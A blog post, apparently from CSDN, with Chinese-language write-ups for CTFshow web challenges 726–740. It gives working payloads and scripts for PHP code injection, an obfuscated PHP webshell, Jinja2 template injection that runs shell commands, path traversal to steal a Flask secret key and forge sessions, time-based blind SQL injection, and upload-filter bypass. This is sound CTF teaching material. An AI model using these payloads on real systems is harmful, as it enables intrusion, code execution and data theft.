CTFSHOW大赛原题篇(web726-web740)

ctfshow 大赛原题 web689--web695 path这里可以写入文件这里的%26是但是如果直接写的话不能正确的绕过,必须写url形式写马方便。 阅读详情

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web726

username=;eval($_POST[1]);phpinfo();//
username=%00
同之前的web692

web727

自增绕过

$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

传入code=xxx&_=phpinfo();
不要忘了url编码

web728

flag在template目录下

code=',system('cat t*/f*'));//

相当于

strpos('',system('cat t*/f*'));//', '..') === false
strpos('',system('cat t*/f*'));

web729

strcmp可以用数组绕过
下面的是要求输入的secret长度为21,大小等于6543
直接往后面堆0就可以了。

GET:
?secret=6543.0000000000000000

POST:
flag[]=1

web730

https://github.com/osirislab/CSAW-CTF-2019-Finals/blob/0f9de48efda520134bfbe3f9b674ec19a4955057/web/biometric/main.py
题目更像是一个密码学题。。。。。(让人头大)
只能直接给大家奉上wp了。


import requests
import numpy as np
from scipy.optimize import minimize


def main():
    x0 = np.zeros([128]).tolist()
    res = minimize(get_score, x0, method='CG', options={'xtol': 1e-7, 'disp': True})
    print(res)
    res = get_request(res.x)
    print(res)

def get_request(encoding) -> str:
    payload = {"username": "admin", "encoding": encoding.tolist()}
    #print(encoding.tolist())
    res = requests.post("http://157d4038-cd05-4438-b0fd-632e2a5eb195.challenge.ctf.show/", json=payload)
    return res.content

def get_score(encoding)-> float:
    content = get_request(encoding)
    if str(content).find("Login Failed") < 0:
        res = 0
    else:
        res =  float(str(content).split(":")[-1][:-2].strip())
    return res

if __name__ == '__main__':
    main()

web731

查看源码

  $hash = sha1($_GET['hash']);
  $target = sha1(10932435112);
  if($hash == $target) {
      include('flag.php');
      print $flag;
  }

除此之外,731勿忘国耻
在这里插入图片描述
应该还有个判断输入的hash与10932435112不等。
而10932435112的sha1值刚好是0e开头的,且0e后面全是数字,所以可以找下其他字符串sha1值是0e开头,后面全是数字的。
md5中

QNKCDZO

240610708

S878926199a

s155964671a

s214587387a

sha1中

aaroZmOk

aaO8zKZF

aa3OFF9m

hash=aaroZmOk

web732

官方wp
https://github.com/K3vin3/CSICTF2020/tree/main/Secure%20Portal
一个好的js解密网站
http://www.jsnice.org/
填上一个赋值和打印
我们把第一个参数,第二个参数都打印出来就差不多可以拿到全部的密码了。
在这里插入图片描述
最后的密码
5W$Fbb=+nBE*pg4t^7M

web733

这个题有一定的迷惑性,在第一个类permissions中,我们其实没有什么可以利用的,所以这个类也就没什么用了。
第二个类有个读,有个写,但是这个写函数是永远不可能被调用的,所以只能用读函数了。
但是类中没有反序列化的入口,不过幸好在反序列化接收后有个调用函数。
$perm->is_guest();
而access_log类中没有该方法,就会进入catch,catch中字符串与类进行拼接,会触发类中的__toString函数,进而执行读函数。

<?php 

class access_log
{
	public $log_file='flag.php';

}
echo urlencode(base64_encode(serialize(new access_log())));

cookie中增加一个login,把值传进去就可以了。
flag在源码中。

web734

var md5=require('md5');
var A=[1];
var B='1';
var secret_key='abcd';
console.log(A.length);
console.log(B.length);
console.log((secret_key + A));
console.log((secret_key + B));

输出结果

1
1
abcd1
abcd1

payload

{"A":[1],"B":"1"}

或者

{"A":[1],"B":["1"]}

web735

python的模板注入题
过滤了单引号没有过滤双引号
过滤了点号可以用attr过滤器绕过
过滤了下划线_可以用16进制编码绕过
原始payload

{{config.__class__.__init__.__globals__['os'].popen('cat c*').read()}}

可能有同学会问这个怎么来的
在这里插入图片描述

替换后payload

{{(config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()}}

web736

解密session可以得到{"balance":1336,"purchases":[]}

那么下面要做的就是伪造session了。
我们知道加密需要有个key,题目中正好存在一个任意文件下载。而key一般是在环境变量中,所以我们可以下载/proc/self/environ
?image=../../../../../proc/self/environ
得到keyctfshowsecretkeyhereyouneverknow
剩下的就是重新生成一个session了。可以利用

python3 flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t '{"balance":10000,"purchases":[]}'

工具下载地址https://github.com/noraj/flask-session-cookie-manager

web737

官方wphttps://github.com/sp1ral-vx/owasp-ukraine-ctf-2019-writeups/blob/master/01.md
这题真的很迷

import hashlib
import re

while True:
	h = hashlib.md5('flag.{}.php'.format(i)).hexdigest()[:8]
	if re.search(r'^[0]+e[0-9]+$', h):
		break
    i += 1
print('flag.{}.php'.format(i))

得到flag.1259.php
然后读取flag.1259.php
developers_mod_v7499.php?file=flag.1259.php

web738

整到原题的源码才知道怎么做,说实话不知道源码压根不知道干嘛。
https://github.com/Annihilat0r/owaspctf/tree/master/002shoppingcart
存在sql注入
在这里插入图片描述
这个$param_name是可控的,也就是我们get传入的键名
shopping-cart.php?0||if(1,sleep(3),0)%23=1
这样传值会有延时,group_concat没法用可以用limit
payload(注释的部分是查表名和列名的)

import requests 
import time
url="http://13fcadba-92c6-4607-b715-dea7d709c8bd.challenge.ctf.show/shopping-cart.php?action=empty&"
flag=''
s='0123456789-abcdef'
for i in range(9,45):
    print(i)
    for j in s:
        #print(j)
        l="0||if((substr((select secret from  secret),{0},1))like('{1}'),sleep(3),0)%23=1".format(i,j)
        u=url+l  
        t1=time.time()
        requests.get(u)
        t2=time.time()
        if(t2-t1>3):
            flag+=j
            print(flag)
            break
# for i in range(1,32):
#     print(i)
#     for j in range(95,127):
#         print(j)
#         #l="0||if(ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 1,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         #l="0||if(ascii(substr((select column_name from information_schema.columns where table_name like 'secret' limit 0,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         l="0||if(ascii(substr((select secret from  secret),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)

#         u=url+l  
#         t1=time.time()
#         requests.get(u)
#         t2=time.time()
#         if(t2-t1>3):
#             flag+=chr(j)
#             print(flag)
#             break

web739

上传xx.jpg.php绕过
图片在image目录下
另外利用一句话木马随便看了下源码,只要上传的文件名中有.jpg .png 等即可上传成功。

<?php
error_reporting(1);
$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {

    $check = preg_match('/(.jpg|.jpeg|.png|.gif)/', $_FILES["fileToUpload"]["name"]);
    if($check !== 0) {

        $uploadOk = 1;
    } else {

        $uploadOk = 0;
    }

    if ($uploadOk == 0) {
        echo "非法文件类型";
    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "文件上传成功";
        } else {
            echo "文件上传失败";
        }
    }
}


?>

web740

import requests  
import hashlib
a=[]
url="http://381ec5bf-2b46-4fcb-ac3d-38e92fcacd20.challenge.ctf.show/"
for i in range(0,32):
    for j in range(1000):
        md5=hashlib.md5(str(j).encode(encoding='UTF-8')).hexdigest()
        if('6'==md5[i]):
            a.append(j)
            break
for i in range(len(a)):
    data={'hash':a[i]}
    r=requests.post(url,data=data)
    print(r.text[i],end='')
ctfshow web入门 大赛原题 web680--web688 不能使用的函数是这些但是还是可以看文件的看根目录啥也没有看当前目录或者直接访问下载文件。 阅读详情

相关推荐

ctf.show-web-1000题

信息收集 爆破 命令执行 文件包含 php特性 文件上传 sql注入 反序列化 java 代码审计 phpCVE XSS nodejs jwt SSRF SSTI XXE 区块链安全 黑盒测试

weixin_46079186的博客 6261

CTFShow-大赛原题改编(未完慢慢更)

文章目录web680web681web682web683web684 create_function()web685web686(无参RCE)姿势一 getallheaders()姿势二 get_defined_vars()姿势三 session_id()web687web688 escapeshellcmd()web689 ssrfmeweb690web691order by 的一个盲注小技巧web692web693web694web695web696web697web698web711web71

paidx0 3237

CTF题目部分解析

一、题目一:exe逆向 二、读题 描述:我们获得了敌方某个exe文件,尝试逆向这个exe文件,获得里面的flag{字符串},以SeBaFi{}的形式提交字符串。 三、审题 找到隐藏在exe中的flag。 一、题目二:看本质 二、读题 描述:在渗透过程中,我们要透过现象,看本质。 三、审题 第一步 :打开给出的网页发现是一个扫雷游戏,但是无论选择那种难度游戏开始后都是困难。 一、题目三:apk逆向1 二、读题 找到隐藏在apk中的flag。 三、审题 Jadx打开apk,查看得到答案 flag{01

weixin_56817426的博客 1万+

CTFSHOW大赛原题篇(web756-web770)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。 文章目录web756web757web758web759web760web761web762web782web785web786web787web788web789 web756 code=GLOBALS web757 每次传入的key前七个字符需要是上传返回的,并且substr(md5($value),5,4)==0) 因为不是每一次md5都有可能字母开头,所以我们需要多测试几次,直接在给的key后面不断加字符就可以了。 import reque

羽的博客 1589

【ctf.show-web赛题】

主要分享自己做题的心得和积累,共勉之。

一纸荒芜的博客 4299

告别盲打:为NXOpen Python API生成智能代码提示的完整指南

本文提供了一份为NXOpen Python API生成智能代码提示的完整指南。通过配置匹配的Python环境、利用类型存根文件生成工具创建.pyi文件,并在PyCharm或VSCode中正确配置,开发者可以彻底告别“盲打”,获得精准的代码补全和参数提示,从而大幅提升NX二次开发的效率和体验。

weixin_29057695的博客 371

CTFSHOW大赛原题篇(web711-web725)

文章目录web711web712web713web782web785web786web787web788web789 web711 扫描目录发现存在robots.txt,提示static/secretkey.txt 访问得到一串字符串ctfshow_love_you 然后进入正常的页面,有个登录和注册,随便注册个用户并且登录后,发现存在文件上传点。 但是上传php后缀的文件不解析,应该不是php写的了。 看下session,应该是一个jwt加密的。那就好说了,伪造一个admin用户,而且加密的秘钥应该就是刚

羽的博客 4549

【开源数据集】电动车佩戴头盔检测数据集(TWHD)

佩戴头盔检测数据集VOC格式图像与标注数量各5448张

hzg19930513的博客 5170

ctfshow 大赛原题 680-695

ctfshow 大赛原题

blowed的博客 1917

别再乱调NvM_WriteBlock了!手把手教你搞懂Autosar NVM状态机与读写时序

本文深入解析Autosar NVM状态机与读写时序,帮助开发者避免常见错误。通过详细的状态机解读、最佳实践代码示例和异常处理策略,提升嵌入式系统中数据存储的可靠性。特别针对NvM_WriteBlock的调用逻辑和状态机机制进行实战讲解,解决工程师在实际开发中遇到的异步写入问题。

weixin_33701617的博客 345

在工作台 LS-DYNA 中检索和变换反作用力分量

在结构仿真中,通常需要由施加的位移或速度边界条件产生的反作用力。此外,通常需要根据用户定义的坐标系解析反作用力分量。在本文中,详细介绍了在Workbench (WB) LS-DYNA 中,相对于用户定义的坐标系检索和变换反作用力分量的过程。

jkh920184196的博客 885

CTFSHOW大赛原题篇(web696-web710)

文章目录web696web697web698web699web700web701web702web703web704web705web707web708web709web710 web696 下载源码是个django的框架。 web1里面的利用点很明显,存在一个ssrf 而在web2的app.py中存在ssti模板注入 所以我们的目的就是通过web1来访问web2,最终通过ssti达到rce的,目的。 在web1中我们想利用ssrf必须先得到token,也就是需要用admin登录。 所以我们要做的第一

羽的博客 2319

Gemini 3.1 Flash本地部署实操:Ollama+Open WebUI零门槛运行指南

大型语言模型(LLM)本地运行是指将模型权重下载至本地设备,通过推理引擎完成离线推理的过程;其核心原理依赖量化压缩(如GGUF格式)与轻量级运行时(如Ollama)实现CPU/GPU高效加载;技术价值在于低延迟响应、数据隐私可控及免网络依赖;典型应用场景包括办公提效(邮件/周报生成)、学生学习辅助、产品原型验证等边缘AI任务;本文聚焦Gemini 3.1 Flash这一面向消费级硬件优化的轻量模型变体,结合Ollama模型管理与Open WebUI图形界面,提供从环境准备、模型拉取到流式对话的完整新手实操路

weixin_32238157的博客 494

ctfshow-大赛原题-web702

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头。(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了。现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了。// www.zip 下载源码。

Rsecret2的博客 1204

别再买模块了!手把手教你用FT232RL-REEL芯片,从零设计一个USB转串口电路板

本文详细介绍了如何使用FT232RL-REEL芯片从零设计USB转串口电路板,涵盖核心器件选型、原理图设计、PCB布局布线及焊接调试等关键步骤。通过实战案例和性能对比,展示自制电路板在成本、性能和可靠性上的优势,特别适合硬件爱好者和工程师参考。

weixin_30561425的博客 433

【立创开源】太阳能板充电方案单节3.7v锂电池充电

一直对太阳能板感兴趣,老是感觉充电好麻烦,要是放在那里就可以自己充电多好,所以尝试做了一个太阳能充电板。因为这几天都是阴天,所以测试效果不太好,但是下雨天也是能充电的,但是基本只能维持电量不掉,电压差不多4.2v以上,电流只有2mA。中午出太阳的时候,隔着玻璃放在太阳下测试,电流有12mA以上。能充起一点点电。等大晴天看一看能不能达到卖家说50mA。┗( T﹏T )┛感觉达不到。这个东西只能当一个玩具(;′⌒`)。不过如果汽车上一些行车记录仪加一个这个,汽车经常在太阳下停车,可能再也不用充电了。

贾saisai的博客 1万+

[2022 ACTF]web题目复现

查看dockerfile发现题目使用环境为goahead5.1.4,联想到p神对于该漏洞的复现记录,我们有两种方法解题:GoAhead环境变量注入复现踩坑记hack.c 编译 exp.py exp.py 简单看一下代码逻辑:server.js 整个题目通过websockets通信,当api为getflag时传入flagbot 这里发现admin登录没有任何限制,那么我们登录admin再传入getflag即可 原型链污染: xss: ToLeSion 考点: TLS-Poison 一篇文章带你读懂 TLS

cosmoslin的博客 2072

【时时三省】tessy 集成测试 总论

序论不积跬步无以至千里,不积小流无以成江海。正文。

时时三省的博客 1148

shell 免杀aspx_免杀 webshell 小叙 [ 一 ]

0x01 基于各类常规命令和代码执行函数的花样变形[如,拆分重组,动态执行,以此来躲避静态特征检测],不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行[如,php7],万一再开了安全模式,就又有点儿费劲了php中一些常见的执行类型函数:system()exec()shell_exec()passthru()proc_open()`` 反引号执行系统命令...利用rot13...

weixin_39607798的博客 731

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

全国大学生信息安全竞赛真题(CTF)

web篇: https://blog.youkuaiyun.com/csu_vc/article/details/78011716 https://www.cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html https://blog.youkuaiyun.com/nzjdsds/article/details/81395642 https://b...

Toufahaizai的博客 3万+

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

CTFSHOW web680-780(大赛原题)

ctfshow CTF ctfshow大赛原题

qq_37561898的博客 4547

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

CTFSHOW做题记录

CTFSHOW做题记录 ** CTFSHOW做题记录1 ** (菜菜的我要写日记啦,欢迎大佬指导) ** 密码学签到1 给出“}wohs.ftc{galf”并且提示倒叙。 ** 解题思路: 没看提示的时候乍一看以为是栅栏密码,还想着用在线解密去做,但是定睛一看不对劲,再看题目原来就是倒叙。只需要反着来就好啦。 ** 答案: flag{ctf.show} ** 今天也是元气满满的一天,好好学习。 ...

weixin_45990644的博客 726

CTFSHOW大赛原题篇(web680-web695)

CTFSHOW大赛原题篇 web680 code=phpinfo(); 先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。 r然后看下当前目录下的文件 code=var_dump(scandir(".")); 发现一个文件secret_you_never_know 直接访问就拿到flag了 。。。。。。(大无语) web681 登录的时候抓个包,比如我们传name=123会返回sql语句 select count(*) from ctfshow_users whe

羽的博客 3620

CTFSHOW大赛原题篇(web771-web790)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。 暂时先更新到这了,毕竟还是要工作的。。。。 文章目录web771web773web774web775web776web 777web778web779web780web781web782web784web785web786web787web788web789web790 web771 GXYCTF2019 你的名字 题目过滤了{{}} 只要使用就直接报错,所以只能用{%%}进行盲注了 然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字

羽的博客 1331

CTF杂项内容还原相关题目整理

CTF杂项内容还原相关题目整理 题目:64格 下载题目解压得到64格.gif,打开提示图像损坏 用winhex打开看看GIF的文件头,没有看见熟悉的"GIF89a" Gif文件头:47 49 46 38 39,使用winhex修复文件头4749463839 修改后GIF正常显示,打开后可以看到一只小黄人在乱跑 (后面是找flag过程,与内容还原无关,不在赘述) 题目:功夫秘籍 下载文件,发现打不开 用winhex打开发现头部是png格式 此文件有一个PNG文件头,

qq_27853015的博客 2195

CTF竞赛题目

这个页面包含一个简单的登录表单,要求输入用户名和密码。你的任务是找到一种方法绕过登录机制获取flag。作为输入,如果字符串正确,则输出flag。给定一个加密的flag文件。,内容是一串密文,使用未知的。给定一个编译好的程序。,该程序运行时接受一段。

Hacker_Fuchen的博客 1909
上一篇: CTFSHOW大赛原题篇(web711-web725)
下一篇: CTFSHOW大赛原题篇(web741-web755)
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值